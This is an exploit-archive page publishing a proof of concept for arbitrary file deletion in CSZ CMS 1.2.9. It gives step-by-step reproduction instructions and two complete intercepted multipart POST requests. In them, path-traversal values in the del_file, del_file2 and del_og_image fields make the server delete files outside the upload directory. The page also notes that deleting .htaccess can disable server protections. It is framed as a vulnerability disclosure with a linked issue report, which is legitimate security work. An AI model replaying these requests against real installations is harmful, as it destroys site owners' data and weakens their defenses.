exploit the possibilities

CSZ CMS 1.2.9 Arbitrary File Deletion

CSZ CMS 1.2.9 Arbitrary File Deletion
Posted Jul 21, 2021
Authored by faisalfs10x

CSZ CMS version 1.2.9 suffers from an arbitrary file deletion vulnerability.

tags | exploit, arbitrary
MD5 | 2be1234f6db4b31bf5b20d0f0182c8a1

CSZ CMS 1.2.9 Arbitrary File Deletion

Change Mirror Download
# Exploit Title: CSZ CMS 1.2.9 - 'Multiple' Arbitrary File Deletion
# Date: 2021-07-20
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://www.cszcms.com
# Software Link: https://sourceforge.net/projects/cszcms/files/latest/download
# Version: 1.2.9
# Tested on: Windows 10, XAMPP
# Reference: https://github.com/cskaza/cszcms/issues/32


################
# Description #
################

# CSZ CMS is an open source Content Management System web application that allows to manage all content and settings on the websites. CSZ CMS was built on the basis of Codeigniter3 and design the structure of Bootstrap3. When unsanitized user input is supplied to a file deletion function, an arbitrary file deletion vulnerability arises. This occurs in PHP when the unlink() function is called and user input might affect portions of or the whole affected parameter, which represents the path of the file to remove, without sufficient sanitization. Exploiting the vulnerability allows an attacker to delete any file in the web root (along with any other file on the server that the PHP process user has the proper permissions to delete). Furthermore, an attacker might leverage the capability of arbitrary file deletion to circumvent certain webserver security mechanisms such as deleting .htaccess file that would deactivate those security constraints.


##########
# PoC 1 #
##########

Vulnerable URL: http://localhost/CSZCMS-V1.2.9/admin/plugin/article/editArtSave
Vulnerable Code: line 116, 131 - cszcms\models\plugin\Article_model.php

Steps to Reproduce:

1. Login as admin
2. Goto Plugin Manager > Article > edit any article
3. Upload any image as "Main Picture" and "File Upload" and click save button
4. Click "Delete File" button for both "Main Picture" and "File Upload" and click save button
5. Intercept the request and replace existing image to any files on the server via parameter "del_file" and "del_file2"


1) Assumed there are files conf_secret_file.php and config_backup.txt in web root

PoC #1) param del_file & del_file2 - Deleting conf_secret_file.php and config_backup.txt files in web root

Request:
========

POST /CSZCMS-V1.2.9/admin/plugin/article/editArtSave/4 HTTP/1.1
Host: localhost
Content-Length: 2048
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAMyATk1BfQaBOHvY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/CSZCMS-V1.2.9/admin/plugin/article/artedit/4
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: last_views=a%3A3%3A%7Bi%3A0%3Bi%3A17%3Bi%3A1%3Bi%3A19%3Bi%3A2%3Bi%3A18%3B%7D; __atuvc=5%7C27; c4204054ab0d5b68399458e70744010b_cszsess=l9f1kpqohequemh1q3tt11j36hs99c25
Connection: close

------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="title"

article beta
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="keyword"

testing file
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="short_desc"

deletion
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="cat_id"

2
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="content"

<div class="row">
<div class="col-md-12">
<p>test for file deletion</p>
</div>
</div>
<p><br><br></p>
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="del_file"

../../../conf_secret_file.php
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="file_upload"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="mainPicture"

2021/1626802955_1.png
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="del_file2"

../../../config_backup.txt
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="file_upload2"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="mainFile"

2021/1626802956_1.png
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="lang_iso"

en
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="active"

1
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="fb_comment_active"

1
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="fb_comment_limit"

5
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="fb_comment_sort"

reverse_time
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="submit"

Save
------WebKitFormBoundaryAMyATk1BfQaBOHvY--

---



##########
# PoC 2 #
##########

Vulnerable URL: http://localhost/CSZCMS-V1.2.9/admin/settings/update
Vulnerable Code: line 944, 958 - cszcms\models\Csz_admin_model.php

Steps to Reproduce:

1. Login as admin
2. Goto General Menu > Site Setting
3. Upload any image as "Site Logo" and "Image of og metatag" and click save button
4. Click "Delete File" button for both "Site Logo" and "Image of og metatag" and click save button
5. Intercept the request and replace existing image to any files on the server via parameter "del_file" and "del_og_image"


2) Assumed there are files conf_secret_file.php and config_backup.txt in web root

PoC #2) param del_file & del_og_image - Deleting conf_secret_file.php and config_backup.txt in web root

Request:
========

POST /CSZCMS-V1.2.9/admin/settings/update HTTP/1.1
Host: localhost
Content-Length: 5163
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8cAl5KcKGP0D3Qi2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/CSZCMS-V1.2.9/admin/settings
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: last_views=a%3A3%3A%7Bi%3A0%3Bi%3A17%3Bi%3A1%3Bi%3A19%3Bi%3A2%3Bi%3A18%3B%7D; __atuvc=5%7C27; c4204054ab0d5b68399458e70744010b_cszsess=t5jloe106o2i5hst51chr5ita9aklieu
Connection: close

------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="siteTitle"

CSZ CMS Starter
------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="title_setting"

2
------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="siteFooter"

&copy; %Y% CSZ CMS Starter
------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="siteKeyword"

CMS, Contact Management System, HTML, CSS, JS, JavaScript, framework, bootstrap, web development, thai, english
------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="siteTheme"

cszdefault
------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="siteLang"

english
------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="additional_metatag"

------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="additional_js"

------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="pagecache_time"

0
------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="assets_static_domain"

demo@cszcms.com
------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="html_optimize_disable"

1
------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="del_file"

../../conf_secret_file.php
------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="file_upload"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="siteLogo"

2021/1626800829_logo.png
------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="del_og_image"

../../config_backup.txt
------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="og_image"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="ogImage"

2021/1626800829_og.png
------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="siteEmail"

demo@cszcms.com
------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="email_protocal"

mail
------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="smtp_host"

------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="smtp_user"

------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="smtp_pass"

123456
------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="smtp_port"

------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="sendmail_path"

------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="email_logs"

1
------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="googlecapt_sitekey"

------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="googlecapt_secretkey"

------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="ga_client_id"

------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="ga_view_id"

------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="gsearch_cxid"

------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="gmaps_key"

------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="gmaps_lat"

-28.621975
------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="gmaps_lng"

150.689082
------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="fbapp_id"

------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="facebook_page_id"

------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="adobe_cc_apikey"

------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="cookieinfo_bg"

#645862
------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="cookieinfo_fg"

#ffffff
------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="cookieinfo_link"

#f1d600
------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="cookieinfo_msg"

This website uses cookies to improve your user experience. By continuing to browse our site you accepted and agreed on our
------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="cookieinfo_linkmsg"

Privacy Policy and terms.
------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="cookieinfo_moreinfo"

https://www.cszcms.com/LICENSE.md
------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="cookieinfo_txtalign"

left
------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="cookieinfo_close"

Got it!
------WebKitFormBoundary8cAl5KcKGP0D3Qi2
Content-Disposition: form-data; name="submit"

Save
------WebKitFormBoundary8cAl5KcKGP0D3Qi2--

---


# For more explaination, you can refer to the github issue on cszcms via https://github.com/cskaza/cszcms/issues/32
# The affected version is 1.2.9.
Login or Register to add favorites

File Archive:

August 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    1 Files
  • 2
    Aug 2nd
    7 Files
  • 3
    Aug 3rd
    5 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    0 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close